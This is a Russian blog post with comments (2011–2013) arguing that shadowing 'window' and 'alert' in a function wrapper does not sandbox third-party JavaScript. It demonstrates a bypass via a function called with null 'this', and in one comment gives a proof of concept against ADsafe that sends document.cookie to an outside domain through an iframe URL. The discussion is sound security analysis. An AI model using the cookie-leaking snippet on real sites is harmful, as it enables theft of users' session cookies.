JavaScript: небезопасная изоляция скриптов

Я смотрю многие начинают задумываться об изоляции JavaScript, подключаемых в контекст страницы. Например, вы подключаете какую-то чужую библиотеку (виджет) с чужого сайта, но не очень-то ему доверяете.

Сейчас считается, что безопасным методом является что-то вроде:
(function (window, alert) {
    alert('Функция «alert» изолирована и доступ к методу из «window» теперь получить нельзя');
})({}, function (){})
Это не правильно.

Такой вызов вас ни от чего не защищает, более того, можно запросто «восстановить справедливость» и получить изнутри такого скрипта доступ к оригинальному window:
<script>
(function(window, alert){
    alert('Пичалька');

    (function(){ with(this) {
        alert('Уже всё хорошо'); 
    }}).call(null);
})({}, function(){})
</script>
В общем случае идея такой изоляции — плохая. Я не видел ни одного удачного примера подобной изоляции и не смог придумать его самостоятельно.
1 февраля 2011 13:53

Алексей (инкогнито)
1 февраля 2011, 19:19

Частное решение изоляции в JavaScript реализовано в Gecko 1.9.x в виде модулей: https://developer.mozilla.org/en/JavaScript_code_modules/Using
В модуле недоступно окно, функция alert(), и наверняка многое другое...
Минусы:
 - зависимость от платформы (браузера);
 - цитата: "A string of the URL of the script to be loaded. The URL must point to a file on the disk, possibly in a JAR."

Еще одна мысль которая приходит в голову - это Sandbox в том же самом Gecko. В принципе механизм ограничений схож с модулями, но в данном случае мы можем указать исходный код для выполнения.
Минус, как всегда, зависимость от платформы.

bolk (bolknote.ru)
1 февраля 2011, 21:57, ответ предназначен Алексею

Sandboxing в IFRAME есть в HTML5, только его мало кто поддерживает пока. У меня есть исследование на эту тему, надо будет систематизировать и опубликовать.

Dima (инкогнито)
1 февраля 2011, 22:39

У Facebook была (3 года назазд смотрел) оригинальная можно так сказать изоляция для приложений построенных на его платформе.

Азат Разетдинов (razetdinov.ya.ru)
1 февраля 2011, 22:48

http://www.adsafe.org/
http://code.google.com/p/google-caja/

bolk (bolknote.ru)
2 февраля 2011, 00:15, ответ предназначен Азат Разетдинов (razetdinov.ya.ru):

Первое я не понял от чего оно вообще спасает:

<body>
<script src="http://www.ADsafe.org/adsafe.js"></script>


<div id="TEST_">
<script>
ADSAFE.go("TEST_", function(){
var frame = document.createElement('iframe');
frame.src = 'http://bolknote.ru/#' + document.cookie;

document.body.appendChild(frame);
});
</script>
</div>
</body></html>

Работает. А вроде создал по всем правилам. Второе смотрю.

bolk (bolknote.ru)
2 февраля 2011, 00:21, ответ предназначен Азат Разетдинов (razetdinov.ya.ru):

Правильно ли я понимаю, что второе имеет какую-то серверную часть на Java, которая как-то обрабатывает JavaScript?

Алексей (инкогнито)
2 февраля 2011, 08:57

Вопрос в следующем - стоит ли использовать одни чужие библиотеки для ограничения возможностей других чужих библиотек?

bolk (bolknote.ru)
2 февраля 2011, 09:42, ответ предназначен Алексею

В случае виджетов выбора нет.

Игорь (инкогнито)
18 августа 2013, 12:47

  (function(window, alert){
alert('Пичалька');
(function(){ with(this) {
        alert('Уже всё хорошо');
}}).call(null);
})()

Игорь (инкогнито)
18 августа 2013, 12:48

Так проще

Игорь (инкогнито)
18 августа 2013, 12:50

(function(window, alert){
 alert('Пичалька');
 (function(){ with(this) {
        alert('Опять Пичалька');
 }}).call(null);
})()

Евгений Степанищев (bolknote.ru)
18 августа 2013, 13:47

Не понял суть вашего предложения.

Евгений Степанищев (bolknote.ru)
18 августа 2013, 22:20, ответ предназначен Игорь

У вас код просто не работает. Вы передаёте вместо alert null (так как не указываете параметры вызова) и JS не выполняет код — выдаёт ошибку вместо первого вызова alert.

Ваше имя или адрес блога (можно OpenID):

Текст вашего комментария, не HTML:

Кому бы вы хотели ответить (или кликните на его аватару)